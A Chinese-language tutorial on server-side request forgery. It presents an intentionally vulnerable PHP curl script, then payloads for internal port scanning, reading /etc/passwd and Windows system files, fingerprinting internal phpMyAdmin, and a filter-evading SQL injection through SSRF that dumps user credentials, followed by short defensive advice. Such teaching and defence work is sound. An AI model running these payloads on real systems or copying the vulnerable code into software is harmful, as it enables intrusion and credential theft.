文章目录
- 1、SSRF概述
- 1.1、场景
- 1.1.1、PHP代码实现
- 1.2、SSRF原理
- 1.3、SSRF危害
- 2、SSRF攻防
- 2.1、SSRF利用
- 2.1.1、文件访问
- 2.1.2、端口扫描
- 2.1.3、读取本地文件
- 2.1.4、内网应用指纹识别
- 2.1.5、攻击内网Web应用
- 2.2、SSRF示例
- 2.3、SSRF防御
- 2.3.1、过滤输入
- 2.3.2、过滤输出
- 3、SSRF挖掘
1、SSRF概述
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。、
1.1、场景
1.1.1、PHP代码实现
利用curl 实现,需要PHP 扩展组件curl 支持
<?php
// ssrf_curl.php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
1.2、SSRF原理
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求
对用户输入的URL 没有进行恰当的过滤
,导致任意URL 输入
没对响应的结果进行检验
,直接输出
1.3、SSRF危害
- 端口扫描;
- 内网Web 应用指纹识别;
- 攻击内网应用;
- 读取本地文件
2、SSRF攻防
2.1、SSRF利用
2.1.1、文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
2.1.2、端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
2.1.3、读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/phpStudy/www/ssrf/ssrf_curl.php
2.1.4、内网应用指纹识别
有些应用是部署在内网的
<Directory "c:\phpStudy\www\phpMyAdmin">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>
# 拒绝所有,只允许127.0.0.1访问
# 在httpd.conf文件里添加配置
设置后不能通过其他IP地址访问到phpMyAdmin
,只能通过127.0.0.1
去访问
内网应用指纹识别
?url=http://127.0.0.1/phpMyAdmin
?url=http://127.0.0.1/phpmyadmin/readme
2.1.5、攻击内网Web应用
内网安全通常都很薄弱
<Directory "c:\phpStudy\www\cms">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>
通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多
空格 用 /**/ 表示
?url=http://127.0.0.1/cms/show.php?
id=-33/*S*/union/*A*/select/*U*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*R*/from/*Y*/cms_users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users
2.2、SSRF示例
Weblogic SSRF to GetShell
2.3、SSRF防御
2.3.1、过滤输入
- 限制协议,仅允许
http
或https
协议; - 限制
IP
,避免应用被用来获取内网数据,攻击内网; - 限制
端口
,限制请求端口为常用端口
2.3.2、过滤输出
过滤返回信息
,只要不符合要求的,全部过滤;统一错误信息
,让攻击无法对内网信息进行判断
3、SSRF挖掘
Web功能 | URL关键字 |
---|---|
分享 转码服务 在线翻译 图片加载与下载 图片、文章收藏功能 未公开的API 实现 … | share wap url link src source target u 3g display sourceURL imageURL domain |